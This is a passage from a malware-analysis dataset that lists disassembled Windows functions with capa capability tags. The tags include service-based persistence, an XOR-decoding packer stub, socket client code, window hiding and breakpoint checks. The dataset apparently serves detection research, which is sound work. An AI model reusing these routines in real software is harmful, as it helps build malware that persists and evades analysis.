joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d10
Capabilities:
Copy file
Delete file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4057f0
push eax
mov dword fs:[0], esp
push ebx
push esi
push edi
mov ebx, ecx
mov eax, dword [ebp + 8]
push 2
push 0
push eax
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
test edi, edi
je 0x403e45
push ecx
nop
mov ecx, 0x703
pop ecx
push edi
call fcn.00402250
add esp, 4
test eax, eax
je 0x403e3e
mov edx, dword [0x418654]
test edx, edx
je 0x403d8b
mov ecx, dword [0x418658]
lea edi, [edx + 0x41024c]
mov edx, ecx
mov esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x410220]
mov ecx, dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x403e5f
push esi
push 0x8000
push 1
push 0x408218
call dword [sym.imp.MSVCRT.dll_fread]
push 0
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
mov edx, dword [ebx + 0x450]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push esi
push edx
push 1
push 0x41024c
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fclose]
push esi
call ebx
mov eax, dword [0x418660]
add esp, 0x30
inc eax
mov ecx, 3
mov dword [0x418660], eax
cdq
idiv ecx
cmp edx, 2
je 0x403e5f
mov edx, dword [0x410224]
mov eax, dword [ebp + 0xc]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x403e5f
push esi
push 0x8000
push 1
push 0x408218
call edi
push esi
call ebx
mov ecx, dword [ebp + 0xc]
add esp, 0x14
push 3
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x403e5f
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp + 8]
push 0
add ebx, 0x60
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0
call fcn.004050bc
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.004050bc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x404180
Capabilities:
Create service
Get disk information
Persist via windows service

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x405868
push eax
mov dword fs:[0], esp
push ebx
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x14], ebx
push 0x4ad
call dword [sym.imp.MSVCRT.dll_islower]
add esp, 4
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, ebx
je 0x4041eb
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov eax, dword [esp + 0x1c]
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
mov eax, dword [esp + 0x38]
push 1
push 2
push 0x110
push 0xf01ff
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
jne 0x40422d
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14], 1
call fcn.004050bc
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], bl
call fcn.004050bc
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], 0xffffffff
call fcn.004050bc
xor al, al
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0xc
ret 0xc
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14], 1
call fcn.004050bc
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], bl
call fcn.004050bc
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], 0xffffffff
call fcn.004050bc
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret 0xc
Function at 0x404b80
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
mov esi, ecx
push edi
mov dword [esi], 0x40655c
call dword [sym.imp.MSVCRT.dll_clock]
xor edi, edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
cmp ebx, 0x6a
nop
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x404bcd
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x10], edi
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404c40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi + 8]
test eax, eax
je 0x404c55
call fcn.00404d10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
jne 0x404c70
pop esi
mov esp, ebp
pop ebp
ret 8
mov word [ebp - 0x10], 2
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WSOCK32.dll_htons]
mov word [ebp - 0xe], ax
push eax
add eax, 0x7da
pop eax
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
test eax, eax
mov dword [esi + 4], eax
ja 0x404cb7
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
push 0xcf2
call dword [sym.imp.MSVCRT.dll_isupper]
mov eax, dword [esi + 4]
add esp, 4
lea edx, [ebp - 0x10]
push 0x10
push edx
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x404cf4
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.WSOCK32.dll_closesocket]
mov dword [esi + 4], 0
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0xc], 1
mov dword [esi + 8], 1
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x404df0
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 8]
lea ecx, [esi + 8]
test eax, eax
je 0x404eac
mov eax, dword [esi + 4]
test eax, eax
je 0x404eac
mov edx, dword [ebp + 0x10]
push 0x2d6
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], ecx
call dword [sym.imp.MSVCRT.dll_isspace]
add esp, 4
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x14]
push eax
push 0
push ecx
push 0x404d70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x404eb3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x192d
call dword [sym.imp.MSVCRT.dll_srand]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [esi + 4]
add esp, 4
push 0
push edx
push eax
push ecx
call dword [sym.imp.WSOCK32.dll_recv]
mov ebx, eax
mov eax, dword [ebp - 4]
test eax, eax
mov dword [ebp - 8], 1
jne 0x404ea2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x404e97
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push eax
mov eax, 0x3d8
pop eax
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x404ec0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 8]
test eax, eax
je 0x404ede
mov eax, dword [esi + 4]
test eax, eax
je 0x404ede
push eax
call fcn.00404f00
test eax, eax
jne 0x404ee5
mov dword [esi + 8], eax
or eax, 0xffffffff
pop esi
ret 0xc
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esi + 4]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WSOCK32.dll_send]
pop esi
ret 0xc

Function at 0x404f00
Capabilities:
Get disk information
Get socket status

Disassembly:
sub esp, 0x10c
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
mov esi, dword [esp + 0x11c]
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
xor edi, edi
cmp ecx, edi
jbe 0x404f5d
lea edx, [esp + 0x18]
cmp dword [edx], esi
je 0x404f39
inc eax
add edx, 4
cmp eax, ecx
jb 0x404f2b
jmp 0x404f5d
lea edx, [ecx - 1]
cmp eax, edx
jae 0x404f58
lea edx, [esp + eax*4 + 0x18]
mov ecx, dword [edx + 4]
inc eax
mov dword [edx], ecx
mov ecx, dword [esp + 0x14]
add edx, 4
lea ebx, [ecx - 1]
cmp eax, ebx
jb 0x404f44
dec ecx
mov dword [esp + 0x14], ecx
xor eax, eax
cmp ecx, edi
jbe 0x404f73
lea edx, [esp + 0x18]
cmp dword [edx], esi
je 0x404f73
inc eax
add edx, 4
cmp eax, ecx
jb 0x404f67
cmp eax, ecx
jne 0x404f89
cmp ecx, 0x40
jae 0x404f89
mov dword [esp + eax*4 + 0x18], esi
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea edx, [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push edi
push edi
push eax
push esi
call dword [sym.imp.WSOCK32.dll_select]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x10c
ret 4
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2152082d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..rsrc
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1aa05309
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401550
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test dword [edi + 0x11c], 0x20000000
mov eax, dword [edi + 0x78]
je 0x40157b
and eax, 0x300
cmp eax, 0x300
je 0x401682
jmp 0x401586
test eax, 0x800
jne 0x401682
test esi, esi
je 0x401682
mov eax, dword [edi + 0x138]
test edx, edx
jne 0x4015a4
xor eax, eax
mov dword [edi + 0x138], eax
pop edi
pop esi
pop ebp
ret
not eax
cmp esi, 8
jb 0x40165c
push ebx
mov ebx, esi
shr ebx, 3
movzx ecx, byte [edx]
sub esi, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 2]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 3]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 4]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 5]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 6]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
movzx ecx, byte [edx + 7]
add edx, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
sub ebx, 1
jne 0x4015b5
pop ebx
test esi, esi
je 0x40167a
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d66d0]
sub esi, 1
jne 0x401660
not eax
mov dword [edi + 0x138], eax
pop edi
pop esi
pop ebp
ret
Function at 0x40ca60
Capabilities:
Terminate process

Disassembly:
test ecx, ecx
je 0x40ca7a
mov eax, dword [ecx + 0x40]
test eax, eax
je 0x40ca7a
mov ecx, dword [ecx + 0x44]
test ecx, ecx
je 0x40ca7a
push 1
push ecx
call eax
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4127e0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov eax, dword [esi + 0x14]
cmp eax, 0xca
jne 0x412838
mov eax, dword [esi + 4]
push 0x1c
push 1
push esi
mov eax, dword [eax]
call eax
add esp, 0xc
mov dword [esi + 0x198], eax
mov ecx, esi
mov dword [eax], 0x417190
mov dword [eax + 4], 0x4172f0
mov byte [eax + 8], 0
call fcn.004169b0
cmp byte [esi + 0x40], 0
je 0x41282f
pop edi
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
jmp 0x41283f
cmp eax, 0xcb
jne 0x4128b9
mov eax, dword [esi + 0x1a8]
cmp byte [eax + 0x10], 0
je 0x4128a7
nop dword [eax + eax]
mov eax, dword [esi + 8]
test eax, eax
je 0x41285f
mov eax, dword [eax]
push esi
call eax
add esp, 4
mov eax, dword [esi + 0x1a8]
push esi
mov eax, dword [eax]
call eax
add esp, 4
test eax, eax
je 0x4128a2
cmp eax, 2
je 0x4128a7
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x412850
cmp eax, 3
je 0x412887
cmp eax, 1
jne 0x412850
inc dword [ecx + 4]
mov edx, dword [esi + 8]
mov edi, dword [edx + 8]
cmp dword [ecx + 4], edi
jl 0x412850
mov eax, dword [esi + 0x128]
add eax, edi
mov dword [edx + 8], eax
jmp 0x412850
pop edi
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov ecx, esi
pop edi
mov dword [esi + 0x84], eax
pop esi
jmp 0x4128f0
cmp eax, 0xcc
je 0x4128db
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x15
mov ecx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [ecx + 0x18], eax
mov eax, dword [esi]
mov eax, dword [eax]
call eax
add esp, 4
pop edi
mov ecx, esi
pop esi
jmp 0x4128f0
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x14], 0xcc
je 0x41291a
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax]
call eax
add esp, 4
mov dword [esi + 0x78], 0
mov dword [esi + 0x14], 0xcc
mov eax, dword [esi + 0x198]
cmp byte [eax + 8], 0
je 0x4129a3
mov ecx, dword [esi + 0x78]
lea ebx, [esi + 0x78]
nop dword [eax]
cmp ecx, dword [esi + 0x60]
jae 0x412976
mov eax, dword [esi + 8]
mov edi, ecx
test eax, eax
je 0x412957
mov dword [eax + 4], ecx
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0x60]
push esi
mov dword [ecx + 8], eax
mov eax, dword [esi + 8]
mov eax, dword [eax]
call eax
mov edi, dword [ebx]
add esp, 4
mov eax, dword [esi + 0x19c]
push 0
push ebx
push 0
mov eax, dword [eax + 4]
push esi
call eax
mov ecx, dword [ebx]
add esp, 0x10
cmp ecx, edi
je 0x4129b9
cmp ecx, dword [esi + 0x60]
jb 0x412935
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax + 4]
call eax
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax]
call eax
mov dword [ebx], 0
xor ecx, ecx
mov eax, dword [esi + 0x198]
add esp, 8
cmp byte [eax + 8], cl
jne 0x412930
xor eax, eax
cmp byte [esi + 0x41], al
pop edi
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov al, 1
pop esi
pop ebx
ret
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x413690
Capabilities:
Query environment variable

Disassembly:
sub esp, 8
push esi
push edi
mov edi, ecx
mov dword [esp + 0xc], 0
push 0x54
mov dword [edi + 4], 0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x4136cf
mov ecx, dword [edi]
push edi
mov dword [ecx + 0x14], 0x38
mov ecx, dword [edi]
mov dword [ecx + 0x18], eax
mov eax, dword [edi]
mov eax, dword [eax]
call eax
add esp, 4
mov eax, dword [esp + 0xc]
mov dword [esi], fcn.00412ad0
mov dword [esi + 4], fcn.00412c10
mov dword [esi + 8], fcn.00412ce0
mov dword [esi + 0xc], fcn.00412d90
mov dword [esi + 0x10], 0x412e40
mov dword [esi + 0x14], 0x412eb0
mov dword [esi + 0x18], 0x412f20
mov dword [esi + 0x1c], 0x4131d0
mov dword [esi + 0x20], 0x413320
mov dword [esi + 0x24], 0x413470
mov dword [esi + 0x28], 0x413580
mov dword [esi + 0x30], 0x3b9aca00
mov dword [esi + 0x2c], eax
mov dword [esi + 0x38], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x3c], 0
push str.JPEGMEM
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x54
mov dword [edi + 4], esi
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
test eax, eax
je 0x4137b1
lea ecx, [esp + 0xb]
mov byte [esp + 0xb], 0x78
push ecx
lea ecx, [esp + 0x10]
push ecx
push str._ld_c
push eax
call fcn.00412aa0
add esp, 0x10
test eax, eax
jle 0x4137b1
mov al, byte [esp + 0xb]
cmp al, 0x6d
je 0x4137a0
cmp al, 0x4d
mov eax, dword [esp + 0xc]
jne 0x4137a8
imul eax, dword [esp + 0xc], 0x3e8
imul eax, eax, 0x3e8
mov dword [esi + 0x2c], eax
pop edi
pop esi
add esp, 8
ret
Function at 0x417560
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov edx, 0x100
mov dword [esp + 0x20], edi
mov ebp, dword [edi + 0x4c]
cmp ebp, 1
mov esi, dword [edi + 0x1c0]
sete al
mov dword [esp + 0x24], esi
mov dword [esp + 0x18], ebp
mov byte [esi + 0x1c], al
mov eax, 0x2fe
push dword [edi + 0x64]
mov ecx, dword [edi + 4]
cmovne eax, edx
push eax
push 1
push edi
mov eax, dword [ecx + 8]
call eax
xor ebx, ebx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
add esp, 0x10
mov dword [esp + 0x10], ebx
cmp dword [edi + 0x64], ebx
jle 0x417693
nop dword [eax + eax]
mov ecx, dword [esi + ebx*4 + 0x20]
cdq
idiv ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
cmp ebp, 1
jne 0x4175de
mov eax, dword [esi + 0x18]
add dword [eax + ebx*4], 0xff
mov eax, dword [esi + 0x18]
lea edi, [ecx*2 - 2]
mov ebp, dword [eax + ebx*4]
lea eax, [ecx + 0xfe]
cdq
xor ebx, ebx
idiv edi
xor esi, esi
mov edx, eax
nop word [eax + eax]
cmp esi, edx
jle 0x417624
imul eax, ebx, 0x1fe
add ecx, 0xfe
add ecx, eax
add ecx, 0x1fe
inc ebx
mov eax, ecx
cdq
idiv edi
mov edx, eax
cmp esi, edx
jg 0x417612
mov ecx, dword [esp + 0x14]
movzx ecx, cl
movzx eax, bl
imul ecx, eax
mov byte [esi + ebp], cl
inc esi
mov ecx, dword [esp + 0x1c]
cmp esi, 0xff
jle 0x417600
cmp dword [esp + 0x18], 1
jne 0x417671
mov ecx, 1
lea edx, [ebp - 1]
movzx eax, byte [ebp]
lea edx, [edx - 1]
mov byte [edx + 1], al
movzx eax, byte [ebp + 0xff]
mov byte [ecx + ebp + 0xff], al
inc ecx
cmp ecx, 0xff
jle 0x417650
mov eax, dword [esp + 0x20]
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x18]
inc ebx
mov esi, dword [esp + 0x24]
cmp ebx, dword [eax + 0x64]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], ebx
jl 0x4175c0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x42dc30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test edx, edx
jne 0x42dc40
xor eax, eax
pop esi
pop ebp
ret
not ecx
cmp esi, 8
jb 0x42dcf8
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
sub edi, 1
jne 0x42dc51
pop edi
test esi, esi
je 0x42dd1a
nop dword [eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4d66d0]
sub esi, 1
jne 0x42dd00
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x434200
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
movups xmm0, xmmword [esi + 8]
movups xmmword [ecx + 0x5c], xmm0
call fcn.00433bd0
mov esi, dword [esi]
mov eax, dword [esi + 4]
test eax, eax
je 0x434234
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x434234
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
pop ebp
ret 8
Function at 0x4359c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b80a8
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4ea160]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebx + 0x6fc]
test eax, eax
je 0x435b5e
push 0x20
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], vtable.FCString.0
call fcn.00451b70
push 0
push 0x100
lea ecx, [ebp - 0x48]
call fcn.00450e40
mov dword [ebp - 4], 0
lea eax, [ebp - 0x30]
push eax
push 0x100
lea ecx, [ebp - 0x48]
call fcn.00450e40
mov eax, dword [ebp - 0x44]
cmp dword [eax + 8], 0
je 0x435b4f
push 0
push 0
push 0xb0
push dword [ebx + 0x6fc]
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
movzx esi, di
shr edi, 0x10
cmp esi, edi
jne 0x435acd
test esi, esi
je 0x435b4f
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], vtable.FCString.0
call fcn.00451b70
push 0
push 0x100
lea ecx, [ebp - 0x3c]
call fcn.00450e40
mov byte [ebp - 4], 1
lea eax, [ebp - 0x30]
lea edi, [ebp - 0x30]
push eax
add edi, esi
push edi
call fcn.00451fb0
lea ecx, [ebp - 0x30]
mov esi, eax
add esp, 8
sub esi, ecx
cmp eax, ecx
jbe 0x435ac2
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x3c]
push esi
push dword [eax + 0x14]
call fcn.00450970
push edi
lea ecx, [ebp - 0x3c]
call fcn.00450850
jmp 0x435b1d
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], vtable.FCString.0
call fcn.00451b70
push 0
push 0x100
lea ecx, [ebp - 0x3c]
call fcn.00450e40
mov byte [ebp - 4], 2
test esi, esi
je 0x435b02
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x3c]
push esi
push dword [eax + 0x14]
call fcn.00450970
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + 8]
cmp edi, eax
jge 0x435b1d
sub eax, edi
push eax
mov eax, dword [ecx + 0x14]
lea ecx, [ebp - 0x3c]
add eax, edi
push eax
call fcn.00450970
mov eax, dword [ebp - 0x38]
push dword [eax + 0x14]
push dword [ebx + 0x6fc]
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [sym.imp.USER32.dll_SendMessageA]
push esi
push esi
push 0xb1
push dword [ebx + 0x6fc]
call eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00450480
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.00450480
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044f18f
mov esp, ebp
pop ebp
ret
Function at 0x4367c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b8170
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4ea160]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi + 0x6fc]
test eax, eax
je 0x436926
push 0x20
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], vtable.FCString.0
call fcn.00451b70
push 0
push 0x100
lea ecx, [ebp - 0x48]
call fcn.00450e40
mov dword [ebp - 4], 0
lea eax, [ebp - 0x30]
push eax
push 0x100
lea ecx, [ebp - 0x48]
call fcn.00450e40
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0xd5
push dword [edi + 0x6fc]
call ebx
mov ecx, dword [ebp - 0x44]
add eax, 0xfffffffe
cmp dword [ecx + 8], eax
jg 0x436917
push 0
push 0
push 0xb0
push dword [edi + 0x6fc]
call ebx
mov esi, eax
mov word [ebp - 0x30], 0x4081
movzx ebx, si
lea ecx, [ebp - 0x3c]
shr esi, 0x10
mov byte [ebp - 0x2e], 0
mov dword [ebp - 0x3c], vtable.FCString.0
call fcn.00451b70
push 0
push 0x100
lea ecx, [ebp - 0x3c]
call fcn.00450e40
mov byte [ebp - 4], 1
test ebx, ebx
je 0x4368bc
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x3c]
push ebx
push dword [eax + 0x14]
call fcn.00450970
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00450850
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + 8]
cmp esi, eax
jge 0x4368e3
sub eax, esi
push eax
mov eax, dword [ecx + 0x14]
lea ecx, [ebp - 0x3c]
add eax, esi
push eax
call fcn.00450970
mov eax, dword [ebp - 0x38]
push dword [eax + 0x14]
push dword [edi + 0x6fc]
